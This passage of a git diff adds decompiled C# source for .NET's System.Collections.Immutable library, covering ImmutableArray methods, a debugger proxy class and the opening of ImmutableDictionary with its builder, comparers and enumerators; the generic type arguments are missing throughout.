RemoveRange(ImmutableArray items) + { + return RemoveRange(items, EqualityComparer.Default); + } + + public ImmutableArray RemoveRange(ImmutableArray items, IEqualityComparer? equalityComparer) + { + Requires.NotNull(items.array, "items"); + return RemoveRange(items.AsSpan(), equalityComparer); + } + + public ImmutableArray RemoveAll(Predicate match) + { + ImmutableArray result = this; + result.ThrowNullRefIfNotInitialized(); + Requires.NotNull(match, "match"); + if (result.IsEmpty) + { + return result; + } + List list = null; + for (int i = 0; i < result.array.Length; i++) + { + if (match(result.array[i])) + { + if (list == null) + { + list = new List(); + } + list.Add(i); + } + } + if (list == null) + { + return result; + } + return result.RemoveAtRange(list); + } + + public ImmutableArray Clear() + { + return Empty; + } + + public ImmutableArray Sort() + { + ImmutableArray immutableArray = this; + return immutableArray.Sort(0, immutableArray.Length, Comparer.Default); + } + + public ImmutableArray Sort(Comparison comparison) + { + Requires.NotNull(comparison, "comparison"); + ImmutableArray immutableArray = this; + return immutableArray.Sort(Comparer.Create(comparison)); + } + + public ImmutableArray Sort(IComparer? comparer) + { + ImmutableArray immutableArray = this; + return immutableArray.Sort(0, immutableArray.Length, comparer); + } + + public ImmutableArray Sort(int index, int count, IComparer? comparer) + { + ImmutableArray result = this; + result.ThrowNullRefIfNotInitialized(); + Requires.Range(index >= 0, "index"); + Requires.Range(count >= 0 && index + count <= result.Length, "count"); + if (count > 1) + { + if (comparer == null) + { + comparer = Comparer.Default; + } + bool flag = false; + for (int i = index + 1; i < index + count; i++) + { + if (comparer.Compare(result.array[i - 1], result.array[i]) > 0) + { + flag = true; + break; + } + } + if (flag) + { + T[] array = new T[result.Length]; + Array.Copy(result.array, array, result.Length); + Array.Sort(array, index, count, comparer); + return new ImmutableArray(array); + } + } + return result; + } + + public IEnumerable OfType() + { + ImmutableArray immutableArray = this; + if (immutableArray.array == null || immutableArray.array.Length == 0) + { + return Enumerable.Empty(); + } + return immutableArray.array.OfType(); + } + + public ImmutableArray AddRange(ReadOnlySpan items) + { + ImmutableArray immutableArray = this; + return immutableArray.InsertRange(immutableArray.Length, items); + } + + public ImmutableArray AddRange(params T[] items) + { + ImmutableArray immutableArray = this; + return immutableArray.InsertRange(immutableArray.Length, items); + } + + public ReadOnlySpan AsSpan(int start, int length) + { + return new ReadOnlySpan(array, start, length); + } + + public void CopyTo(Span destination) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowNullRefIfNotInitialized(); + Requires.Range(immutableArray.Length <= destination.Length, "destination"); + immutableArray.AsSpan().CopyTo(destination); + } + + public ImmutableArray InsertRange(int index, T[] items) + { + ImmutableArray result = this; + result.ThrowNullRefIfNotInitialized(); + Requires.Range(index >= 0 && index <= result.Length, "index"); + Requires.NotNull(items, "items"); + if (items.Length == 0) + { + return result; + } + if (result.IsEmpty) + { + return new ImmutableArray(items); + } + return result.InsertSpanRangeInternal(index, items); + } + + public ImmutableArray InsertRange(int index, ReadOnlySpan items) + { + ImmutableArray result = this; + result.ThrowNullRefIfNotInitialized(); + Requires.Range(index >= 0 && index <= result.Length, "index"); + if (items.IsEmpty) + { + return result; + } + if (result.IsEmpty) + { + return items.ToImmutableArray(); + } + return result.InsertSpanRangeInternal(index, items); + } + + public ImmutableArray RemoveRange(ReadOnlySpan items, IEqualityComparer? equalityComparer = null) + { + ImmutableArray result = this; + result.ThrowNullRefIfNotInitialized(); + if (items.IsEmpty || result.IsEmpty) + { + return result; + } + if (items.Length == 1) + { + return result.Remove(items[0], equalityComparer); + } + SortedSet sortedSet = new SortedSet(); + ReadOnlySpan readOnlySpan = items; + for (int i = 0; i < readOnlySpan.Length; i++) + { + T item = readOnlySpan[i]; + int num = -1; + do + { + num = result.IndexOf(item, num + 1, equalityComparer); + } + while (num >= 0 && !sortedSet.Add(num) && num < result.Length - 1); + } + return result.RemoveAtRange(sortedSet); + } + + public ImmutableArray RemoveRange(T[] items, IEqualityComparer? equalityComparer = null) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowNullRefIfNotInitialized(); + Requires.NotNull(items, "items"); + return immutableArray.RemoveRange(new ReadOnlySpan(items), equalityComparer); + } + + public ImmutableArray Slice(int start, int length) + { + ImmutableArray items = this; + items.ThrowNullRefIfNotInitialized(); + return ImmutableArray.Create(items, start, length); + } + + void IList.Insert(int index, T item) + { + throw new NotSupportedException(); + } + + void IList.RemoveAt(int index) + { + throw new NotSupportedException(); + } + + void ICollection.Add(T item) + { + throw new NotSupportedException(); + } + + void ICollection.Clear() + { + throw new NotSupportedException(); + } + + bool ICollection.Remove(T item) + { + throw new NotSupportedException(); + } + + IImmutableList IImmutableList.Clear() + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.Clear(); + } + + IImmutableList IImmutableList.Add(T value) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.Add(value); + } + + IImmutableList IImmutableList.AddRange(IEnumerable items) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.AddRange(items); + } + + IImmutableList IImmutableList.Insert(int index, T element) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.Insert(index, element); + } + + IImmutableList IImmutableList.InsertRange(int index, IEnumerable items) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.InsertRange(index, items); + } + + IImmutableList IImmutableList.Remove(T value, IEqualityComparer equalityComparer) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.Remove(value, equalityComparer); + } + + IImmutableList IImmutableList.RemoveAll(Predicate match) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.RemoveAll(match); + } + + IImmutableList IImmutableList.RemoveRange(IEnumerable items, IEqualityComparer equalityComparer) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.RemoveRange(items, equalityComparer); + } + + IImmutableList IImmutableList.RemoveRange(int index, int count) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.RemoveRange(index, count); + } + + IImmutableList IImmutableList.RemoveAt(int index) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.RemoveAt(index); + } + + IImmutableList IImmutableList.SetItem(int index, T value) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.SetItem(index, value); + } + + IImmutableList IImmutableList.Replace(T oldValue, T newValue, IEqualityComparer equalityComparer) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.Replace(oldValue, newValue, equalityComparer); + } + + int IList.Add(object value) + { + throw new NotSupportedException(); + } + + void IList.Clear() + { + throw new NotSupportedException(); + } + + bool IList.Contains(object value) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.Contains((T)value); + } + + int IList.IndexOf(object value) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return immutableArray.IndexOf((T)value); + } + + void IList.Insert(int index, object value) + { + throw new NotSupportedException(); + } + + void IList.Remove(object value) + { + throw new NotSupportedException(); + } + + void IList.RemoveAt(int index) + { + throw new NotSupportedException(); + } + + void ICollection.CopyTo(Array array, int index) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + Array.Copy(immutableArray.array, 0, array, index, immutableArray.Length); + } + + bool IStructuralEquatable.Equals(object other, IEqualityComparer comparer) + { + ImmutableArray immutableArray = this; + Array array = other as Array; + if (array == null && other is IImmutableArray immutableArray2) + { + array = immutableArray2.Array; + if (immutableArray.array == null && array == null) + { + return true; + } + if (immutableArray.array == null) + { + return false; + } + } + IStructuralEquatable structuralEquatable = immutableArray.array; + return structuralEquatable.Equals(array, comparer); + } + + int IStructuralEquatable.GetHashCode(IEqualityComparer comparer) + { + ImmutableArray immutableArray = this; + return ((IStructuralEquatable)immutableArray.array)?.GetHashCode(comparer) ?? immutableArray.GetHashCode(); + } + + int IStructuralComparable.CompareTo(object other, IComparer comparer) + { + ImmutableArray immutableArray = this; + Array array = other as Array; + if (array == null && other is IImmutableArray immutableArray2) + { + array = immutableArray2.Array; + if (immutableArray.array == null && array == null) + { + return 0; + } + if ((immutableArray.array == null) ^ (array == null)) + { + throw new ArgumentException(System.SR.ArrayInitializedStateNotEqual, "other"); + } + } + if (array != null) + { + IStructuralComparable structuralComparable = immutableArray.array; + if (structuralComparable == null) + { + throw new ArgumentException(System.SR.ArrayInitializedStateNotEqual, "other"); + } + return structuralComparable.CompareTo(array, comparer); + } + throw new ArgumentException(System.SR.ArrayLengthsNotEqual, "other"); + } + + private ImmutableArray RemoveAtRange(ICollection indicesToRemove) + { + ImmutableArray result = this; + result.ThrowNullRefIfNotInitialized(); + Requires.NotNull(indicesToRemove, "indicesToRemove"); + if (indicesToRemove.Count == 0) + { + return result; + } + T[] array = new T[result.Length - indicesToRemove.Count]; + int num = 0; + int num2 = 0; + int num3 = -1; + foreach (int item in indicesToRemove) + { + int num4 = ((num3 == -1) ? item : (item - num3 - 1)); + Array.Copy(result.array, num + num2, array, num, num4); + num2++; + num += num4; + num3 = item; + } + Array.Copy(result.array, num + num2, array, num, result.Length - (num + num2)); + return new ImmutableArray(array); + } + + private ImmutableArray InsertSpanRangeInternal(int index, ReadOnlySpan items) + { + T[] array = new T[Length + items.Length]; + if (index != 0) + { + Array.Copy(this.array, array, index); + } + items.CopyTo(new Span(array, index, items.Length)); + if (index != Length) + { + Array.Copy(this.array, index, array, index + items.Length, Length - index); + } + return new ImmutableArray(array); + } + + internal ImmutableArray(T[]? items) + { + array = items; + } + + [System.Runtime.Versioning.NonVersionable] + public static bool operator ==(ImmutableArray left, ImmutableArray right) + { + return left.Equals(right); + } + + [System.Runtime.Versioning.NonVersionable] + public static bool operator !=(ImmutableArray left, ImmutableArray right) + { + return !left.Equals(right); + } + + public static bool operator ==(ImmutableArray? left, ImmutableArray? right) + { + return left.GetValueOrDefault().Equals(right.GetValueOrDefault()); + } + + public static bool operator !=(ImmutableArray? left, ImmutableArray? right) + { + return !left.GetValueOrDefault().Equals(right.GetValueOrDefault()); + } + + public ref readonly T ItemRef(int index) + { + return ref array[index]; + } + + public void CopyTo(T[] destination) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowNullRefIfNotInitialized(); + Array.Copy(immutableArray.array, destination, immutableArray.Length); + } + + public void CopyTo(T[] destination, int destinationIndex) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowNullRefIfNotInitialized(); + Array.Copy(immutableArray.array, 0, destination, destinationIndex, immutableArray.Length); + } + + public void CopyTo(int sourceIndex, T[] destination, int destinationIndex, int length) + { + ImmutableArray immutableArray = this; + immutableArray.ThrowNullRefIfNotInitialized(); + Array.Copy(immutableArray.array, sourceIndex, destination, destinationIndex, length); + } + + public ImmutableArray.Builder ToBuilder() + { + ImmutableArray items = this; + if (items.Length == 0) + { + return new Builder(); + } + Builder builder = new Builder(items.Length); + builder.AddRange(items); + return builder; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public Enumerator GetEnumerator() + { + ImmutableArray immutableArray = this; + immutableArray.ThrowNullRefIfNotInitialized(); + return new Enumerator(immutableArray.array); + } + + public override int GetHashCode() + { + ImmutableArray immutableArray = this; + if (immutableArray.array != null) + { + return immutableArray.array.GetHashCode(); + } + return 0; + } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is IImmutableArray immutableArray) + { + return array == immutableArray.Array; + } + return false; + } + + [System.Runtime.Versioning.NonVersionable] + public bool Equals(ImmutableArray other) + { + return array == other.array; + } + + public static ImmutableArray CastUp(ImmutableArray items) where TDerived : class?, T + { + T[] items2 = (T[])(object)items.array; + return new ImmutableArray(items2); + } + + public ImmutableArray CastArray() where TOther : class? + { + return new ImmutableArray((TOther[])(object)array); + } + + public ImmutableArray As() where TOther : class? + { + return new ImmutableArray(array as TOther[]); + } + + IEnumerator IEnumerable.GetEnumerator() + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return EnumeratorObject.Create(immutableArray.array); + } + + IEnumerator IEnumerable.GetEnumerator() + { + ImmutableArray immutableArray = this; + immutableArray.ThrowInvalidOperationIfNotInitialized(); + return EnumeratorObject.Create(immutableArray.array); + } + + internal void ThrowNullRefIfNotInitialized() + { + _ = array.Length; + } + + private void ThrowInvalidOperationIfNotInitialized() + { + if (IsDefault) + { + throw new InvalidOperationException(System.SR.InvalidOperationOnDefaultArray); + } + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableArrayBuilderDebuggerProxy.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableArrayBuilderDebuggerProxy.cs new file mode 100644 index 0000000..71b15c9 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableArrayBuilderDebuggerProxy.cs @@ -0,0 +1,17 @@ +using System.Diagnostics; + +namespace System.Collections.Immutable; + +internal sealed class ImmutableArrayBuilderDebuggerProxy +{ + private readonly ImmutableArray.Builder _builder; + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public T[] A => _builder.ToArray(); + + public ImmutableArrayBuilderDebuggerProxy(ImmutableArray.Builder builder) + { + Requires.NotNull(builder, "builder"); + _builder = builder; + } +} diff --git a/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableDictionary.cs b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableDictionary.cs new file mode 100644 index 0000000..a57bb52 --- /dev/null +++ b/decompiled/Libraries/system.collections.immutable/System.Collections.Immutable/ImmutableDictionary.cs @@ -0,0 +1,1523 @@ +using System.Collections.Generic; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Threading; + +namespace System.Collections.Immutable; + +public static class ImmutableDictionary +{ + public static ImmutableDictionary Create() where TKey : notnull + { + return ImmutableDictionary.Empty; + } + + public static ImmutableDictionary Create(IEqualityComparer? keyComparer) where TKey : notnull + { + return ImmutableDictionary.Empty.WithComparers(keyComparer); + } + + public static ImmutableDictionary Create(IEqualityComparer? keyComparer, IEqualityComparer? valueComparer) where TKey : notnull + { + return ImmutableDictionary.Empty.WithComparers(keyComparer, valueComparer); + } + + public static ImmutableDictionary CreateRange(IEnumerable> items) where TKey : notnull + { + return ImmutableDictionary.Empty.AddRange(items); + } + + public static ImmutableDictionary CreateRange(IEqualityComparer? keyComparer, IEnumerable> items) where TKey : notnull + { + return ImmutableDictionary.Empty.WithComparers(keyComparer).AddRange(items); + } + + public static ImmutableDictionary CreateRange(IEqualityComparer? keyComparer, IEqualityComparer? valueComparer, IEnumerable> items) where TKey : notnull + { + return ImmutableDictionary.Empty.WithComparers(keyComparer, valueComparer).AddRange(items); + } + + public static ImmutableDictionary.Builder CreateBuilder() where TKey : notnull + { + return Create().ToBuilder(); + } + + public static ImmutableDictionary.Builder CreateBuilder(IEqualityComparer? keyComparer) where TKey : notnull + { + return Create(keyComparer).ToBuilder(); + } + + public static ImmutableDictionary.Builder CreateBuilder(IEqualityComparer? keyComparer, IEqualityComparer? valueComparer) where TKey : notnull + { + return Create(keyComparer, valueComparer).ToBuilder(); + } + + public static ImmutableDictionary ToImmutableDictionary(this IEnumerable source, Func keySelector, Func elementSelector, IEqualityComparer? keyComparer, IEqualityComparer? valueComparer) where TKey : notnull + { + Requires.NotNull(source, "source"); + Requires.NotNull(keySelector, "keySelector"); + Requires.NotNull(elementSelector, "elementSelector"); + return ImmutableDictionary.Empty.WithComparers(keyComparer, valueComparer).AddRange(source.Select((TSource element) => new KeyValuePair(keySelector(element), elementSelector(element)))); + } + + public static ImmutableDictionary ToImmutableDictionary(this ImmutableDictionary.Builder builder) where TKey : notnull + { + Requires.NotNull(builder, "builder"); + return builder.ToImmutable(); + } + + public static ImmutableDictionary ToImmutableDictionary(this IEnumerable source, Func keySelector, Func elementSelector, IEqualityComparer? keyComparer) where TKey : notnull + { + return source.ToImmutableDictionary(keySelector, elementSelector, keyComparer, null); + } + + public static ImmutableDictionary ToImmutableDictionary(this IEnumerable source, Func keySelector) where TKey : notnull + { + return source.ToImmutableDictionary(keySelector, (TSource v) => v, null, null); + } + + public static ImmutableDictionary ToImmutableDictionary(this IEnumerable source, Func keySelector, IEqualityComparer? keyComparer) where TKey : notnull + { + return source.ToImmutableDictionary(keySelector, (TSource v) => v, keyComparer, null); + } + + public static ImmutableDictionary ToImmutableDictionary(this IEnumerable source, Func keySelector, Func elementSelector) where TKey : notnull + { + return source.ToImmutableDictionary(keySelector, elementSelector, null, null); + } + + public static ImmutableDictionary ToImmutableDictionary(this IEnumerable> source, IEqualityComparer? keyComparer, IEqualityComparer? valueComparer) where TKey : notnull + { + Requires.NotNull(source, "source"); + if (source is ImmutableDictionary immutableDictionary) + { + return immutableDictionary.WithComparers(keyComparer, valueComparer); + } + return ImmutableDictionary.Empty.WithComparers(keyComparer, valueComparer).AddRange(source); + } + + public static ImmutableDictionary ToImmutableDictionary(this IEnumerable> source, IEqualityComparer? keyComparer) where TKey : notnull + { + return source.ToImmutableDictionary(keyComparer, null); + } + + public static ImmutableDictionary ToImmutableDictionary(this IEnumerable> source) where TKey : notnull + { + return source.ToImmutableDictionary(null, null); + } + + public static bool Contains(this IImmutableDictionary map, TKey key, TValue value) where TKey : notnull + { + Requires.NotNull(map, "map"); + Requires.NotNullAllowStructs(key, "key"); + return map.Contains(new KeyValuePair(key, value)); + } + + public static TValue? GetValueOrDefault(this IImmutableDictionary dictionary, TKey key) where TKey : notnull + { + return dictionary.GetValueOrDefault(key, default(TValue)); + } + + public static TValue GetValueOrDefault(this IImmutableDictionary dictionary, TKey key, TValue defaultValue) where TKey : notnull + { + Requires.NotNull(dictionary, "dictionary"); + Requires.NotNullAllowStructs(key, "key"); + if (dictionary.TryGetValue(key, out TValue value)) + { + return value; + } + return defaultValue; + } +} +[DebuggerDisplay("Count = {Count}")] +[DebuggerTypeProxy(typeof(ImmutableDictionaryDebuggerProxy<, >))] +public sealed class ImmutableDictionary : IImmutableDictionary, IReadOnlyDictionary, IReadOnlyCollection>, IEnumerable>, IEnumerable, IImmutableDictionaryInternal, IHashKeyCollection, IDictionary, ICollection>, IDictionary, ICollection where TKey : notnull +{ + [DebuggerDisplay("Count = {Count}")] + [DebuggerTypeProxy(typeof(ImmutableDictionaryBuilderDebuggerProxy<, >))] + public sealed class Builder : IDictionary, ICollection>, IEnumerable>, IEnumerable, IReadOnlyDictionary, IReadOnlyCollection>, IDictionary, ICollection + { + private SortedInt32KeyNode _root = SortedInt32KeyNode.EmptyNode; + + private Comparers _comparers; + + private int _count; + + private ImmutableDictionary _immutable; + + private int _version; + + private object _syncRoot; + + public IEqualityComparer KeyComparer + { + get + { + return _comparers.KeyComparer; + } + set + { + Requires.NotNull(value, "value"); + if (value != KeyComparer) + { + Comparers comparers = Comparers.Get(value, ValueComparer); + MutationInput origin = new MutationInput(SortedInt32KeyNode.EmptyNode, comparers); + MutationResult mutationResult = ImmutableDictionary.AddRange((IEnumerable>)this, origin, KeyCollisionBehavior.ThrowIfValueDifferent); + _immutable = null; + _comparers = comparers; + _count = mutationResult.CountAdjustment; + Root = mutationResult.Root; + } + } + } + + public IEqualityComparer ValueComparer + { + get + { + return _comparers.ValueComparer; + } + set + { + Requires.NotNull(value, "value"); + if (value != ValueComparer) + { + _comparers = _comparers.WithValueComparer(value); + _immutable = null; + } + } + } + + public int Count => _count; + + bool ICollection>.IsReadOnly => false; + + public IEnumerable Keys + { + get + { + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + yield return enumerator.Current.Key; + } + } + } + + ICollection IDictionary.Keys => Keys.ToArray(Count); + + public IEnumerable Values + { + get + { + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + yield return enumerator.Current.Value; + } + } + } + + ICollection IDictionary.Values => Values.ToArray(Count); + + bool IDictionary.IsFixedSize => false; + + bool IDictionary.IsReadOnly => false; + + ICollection IDictionary.Keys => Keys.ToArray(Count); + + ICollection IDictionary.Values => Values.ToArray(Count); + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + object ICollection.SyncRoot + { + get + { + if (_syncRoot == null) + { + Interlocked.CompareExchange(ref _syncRoot, new object(), (object)null); + } + return _syncRoot; + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + bool ICollection.IsSynchronized => false; + + object? IDictionary.this[object key] + { + get + { + return this[(TKey)key]; + } + set + { + this[(TKey)key] = (TValue)value; + } + } + + internal int Version => _version; + + private MutationInput Origin => new MutationInput(Root, _comparers); + + private SortedInt32KeyNode Root + { + get + { + return _root; + } + set + { + _version++; + if (_root != value) + { + _root = value; + _immutable = null; + } + } + } + + public TValue this[TKey key] + { + get + { + if (TryGetValue(key, out var value)) + { + return value; + } + throw new KeyNotFoundException(System.SR.Format(System.SR.Arg_KeyNotFoundWithKey, key.ToString())); + } + set + { + MutationResult result = ImmutableDictionary.Add(key, value, KeyCollisionBehavior.SetValue, Origin); + Apply(result); + } + } + + internal Builder(ImmutableDictionary map) + { + Requires.NotNull(map, "map"); + _root = map._root; + _count = map._count; + _comparers = map._comparers; + _immutable = map; + } + + void IDictionary.Add(object key, object value) + { + Add((TKey)key, (TValue)value); + } + + bool IDictionary.Contains(object key) + { + return ContainsKey((TKey)key); + } + + IDictionaryEnumerator IDictionary.GetEnumerator() + { + return new DictionaryEnumerator(GetEnumerator()); + } + + void IDictionary.Remove(object key) + { + Remove((TKey)key); + } + + void ICollection.CopyTo(Array array, int arrayIndex) + { + Requires.NotNull(array, "array"); + Requires.Range(arrayIndex >= 0, "arrayIndex"); + Requires.Range(array.Length >= arrayIndex + Count, "arrayIndex"); + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + array.SetValue(new DictionaryEntry(current.Key, current.Value), arrayIndex++); + } + } + + public void AddRange(IEnumerable> items) + { + MutationResult result = ImmutableDictionary.AddRange(items, Origin, KeyCollisionBehavior.ThrowIfValueDifferent); + Apply(result); + } + + public void RemoveRange(IEnumerable keys) + { + Requires.NotNull(keys, "keys"); + foreach (TKey key in keys) + { + Remove(key); + } + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_root, this); + } + + public TValue? GetValueOrDefault(TKey key) + { + return GetValueOrDefault(key, default(TValue)); + } + + public TValue GetValueOrDefault(TKey key, TValue defaultValue) + { + Requires.NotNullAllowStructs(key, "key"); + if (TryGetValue(key, out var value)) + { + return value; + } + return defaultValue; + } + + public ImmutableDictionary ToImmutable() + { + return _immutable ?? (_immutable = ImmutableDictionary.Wrap(_root, _comparers, _count)); + } + + public void Add(TKey key, TValue value) + { + MutationResult result = ImmutableDictionary.Add(key, value, KeyCollisionBehavior.ThrowIfValueDifferent, Origin); + Apply(result); + } + + public bool ContainsKey(TKey key) + { + return ImmutableDictionary.ContainsKey(key, Origin); + } + + public bool ContainsValue(TValue value) + { + using (Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + if (ValueComparer.Equals(value, current.Value)) + { + return true; + } + } + } + return false; + } + + public bool Remove(TKey key) + { + MutationResult result = ImmutableDictionary.Remove(key, Origin); + return Apply(result); + } + + public bool TryGetValue(TKey key, [MaybeNullWhen(false)] out TValue value) + { + return ImmutableDictionary.TryGetValue(key, Origin, out value); + } + + public bool TryGetKey(TKey equalKey, out TKey actualKey) + { + return ImmutableDictionary.TryGetKey(equalKey, Origin, out actualKey); + } + + public void Add(KeyValuePair item) + { + Add(item.Key, item.Value); + } + + public void Clear() + { + Root = SortedInt32KeyNode.EmptyNode; + _count = 0; + } + + public bool Contains(KeyValuePair item) + { + return ImmutableDictionary.Contains(item, Origin); + } + + void ICollection>.CopyTo(KeyValuePair[] array, int arrayIndex) + { + Requires.NotNull(array, "array"); + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + array[arrayIndex++] = current; + } + } + + public bool Remove(KeyValuePair item) + { + if (Contains(item)) + { + return Remove(item.Key); + } + return false; + } + + IEnumerator> IEnumerable>.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + private bool Apply(MutationResult result) + { + Root = result.Root; + _count += result.CountAdjustment; + return result.CountAdjustment != 0; + } + } + + internal sealed class Comparers : IEqualityComparer, IEqualityComparer> + { + internal static readonly Comparers Default = new Comparers(EqualityComparer.Default, EqualityComparer.Default); + + private readonly IEqualityComparer _keyComparer; + + private readonly IEqualityComparer _valueComparer; + + internal IEqualityComparer KeyComparer => _keyComparer; + + internal IEqualityComparer> KeyOnlyComparer => this; + + internal IEqualityComparer ValueComparer => _valueComparer; + + internal IEqualityComparer HashBucketEqualityComparer => this; + + internal Comparers(IEqualityComparer keyComparer, IEqualityComparer valueComparer) + { + Requires.NotNull(keyComparer, "keyComparer"); + Requires.NotNull(valueComparer, "valueComparer"); + _keyComparer = keyComparer; + _valueComparer = valueComparer; + } + + public bool Equals(HashBucket x, HashBucket y) + { + if (x.AdditionalElements == y.AdditionalElements && KeyComparer.Equals(x.FirstValue.Key, y.FirstValue.Key)) + { + return ValueComparer.Equals(x.FirstValue.Value, y.FirstValue.Value); + } + return false; + } + + public int GetHashCode(HashBucket obj) + { + return KeyComparer.GetHashCode(obj.FirstValue.Key); + } + + bool IEqualityComparer>.Equals(KeyValuePair x, KeyValuePair y) + { + return _keyComparer.Equals(x.Key, y.Key); + } + + int IEqualityComparer>.GetHashCode(KeyValuePair obj) + { + return _keyComparer.GetHashCode(obj.Key); + } + + internal static Comparers Get(IEqualityComparer keyComparer, IEqualityComparer valueComparer) + { + Requires.NotNull(keyComparer, "keyComparer"); + Requires.NotNull(valueComparer, "valueComparer"); + if (keyComparer != Default.KeyComparer || valueComparer != Default.ValueComparer) + { + return new Comparers(keyComparer, valueComparer); + } + return Default; + } + + internal Comparers WithValueComparer(IEqualityComparer valueComparer) + { + Requires.NotNull(valueComparer, "valueComparer"); + if (_valueComparer != valueComparer) + { + return Get(KeyComparer, valueComparer); + } + return this; + } + } + + public struct Enumerator : IEnumerator>, IDisposable, IEnumerator + { + private readonly Builder _builder; + + private SortedInt32KeyNode.Enumerator _mapEnumerator; + + private HashBucket.Enumerator _bucketEnumerator; + + private int _enumeratingBuilderVersion; + + public KeyValuePair Current + { + get + { + _mapEnumerator.ThrowIfDisposed(); + return _bucketEnumerator.Current; + } + } + + object IEnumerator.Current => Current; + + internal Enumerator(SortedInt32KeyNode root, Builder? builder = null) + { + _builder = builder; + _mapEnumerator = new SortedInt32KeyNode.Enumerator(root); + _bucketEnumerator = default(HashBucket.Enumerator); + _enumeratingBuilderVersion = builder?.Version ?? (-1); + } + + public bool MoveNext() + { + ThrowIfChanged(); + if (_bucketEnumerator.MoveNext()) + { + return true; + } + if (_mapEnumerator.MoveNext()) + { + _bucketEnumerator = new HashBucket.Enumerator(_mapEnumerator.Current.Value); + return _bucketEnumerator.MoveNext(); + } + return false; + } + + public void Reset() + { + _enumeratingBuilderVersion = ((_builder != null) ? _builder.Version : (-1)); + _mapEnumerator.Reset(); + _bucketEnumerator.Dispose(); + _bucketEnumerator = default(HashBucket.Enumerator); + } + + public void Dispose() + { + _mapEnumerator.Dispose(); + _bucketEnumerator.Dispose(); + } + + private void ThrowIfChanged() + { + if (_builder != null && _builder.Version != _enumeratingBuilderVersion) + { + throw new InvalidOperationException(System.SR.CollectionModifiedDuringEnumeration); + } + } + } + + internal readonly struct HashBucket : IEnumerable>, IEnumerable + { + internal struct Enumerator : IEnumerator>, IDisposable, IEnumerator + { + private enum Position + { + BeforeFirst, + First, + Additional, + End + } + + private readonly HashBucket _bucket; + + private Position _currentPosition; + + private ImmutableList>.Enumerator _additionalEnumerator; + + object IEnumerator.Current => Current; + + public KeyValuePair Current => _currentPosition switch + { + Position.First => _bucket._firstValue, + Position.Additional => _additionalEnumerator.Current, + _ => throw new InvalidOperationException(), + }; + + internal Enumerator(HashBucket bucket) + { + _bucket = bucket; + _currentPosition = Position.BeforeFirst; + _additionalEnumerator = default(ImmutableList>.Enumerator); + } + + public bool MoveNext() + { + if (_bucket.IsEmpty) + { + _currentPosition = Position.End; + return false; + } + switch (_currentPosition) + { + case Position.BeforeFirst: + _currentPosition = Position.First; + return true; + case Position.First: + if (_bucket._additionalElements.IsEmpty) + { + _currentPosition = Position.End; + return false; + } + _currentPosition = Position.Additional; + _additionalEnumerator = new ImmutableList>.Enumerator(_bucket._additionalElements); + return _additionalEnumerator.MoveNext(); + case Position.Additional: + return _additionalEnumerator.MoveNext(); + case Position.End: + return false; + default: + throw new InvalidOperationException(); + } + } + + public void Reset() + { + _additionalEnumerator.Dispose(); + _currentPosition = Position.BeforeFirst; + } + + public void Dispose() + { + _additionalEnumerator.Dispose(); + } + } + + private readonly KeyValuePair _firstValue; + + private readonly ImmutableList>.Node _additionalElements; + + internal bool IsEmpty => _additionalElements == null; + + internal KeyValuePair FirstValue + { + get + { + if (IsEmpty) + { + throw new InvalidOperationException(); + } + return _firstValue; + } + } + + internal ImmutableList>.Node AdditionalElements => _additionalElements; + + private HashBucket(KeyValuePair firstElement, ImmutableList>.Node additionalElements = null) + { + _firstValue = firstElement; + _additionalElements = additionalElements ?? ImmutableList>.Node.EmptyNode; + } + + public Enumerator GetEnumerator() + { + return new 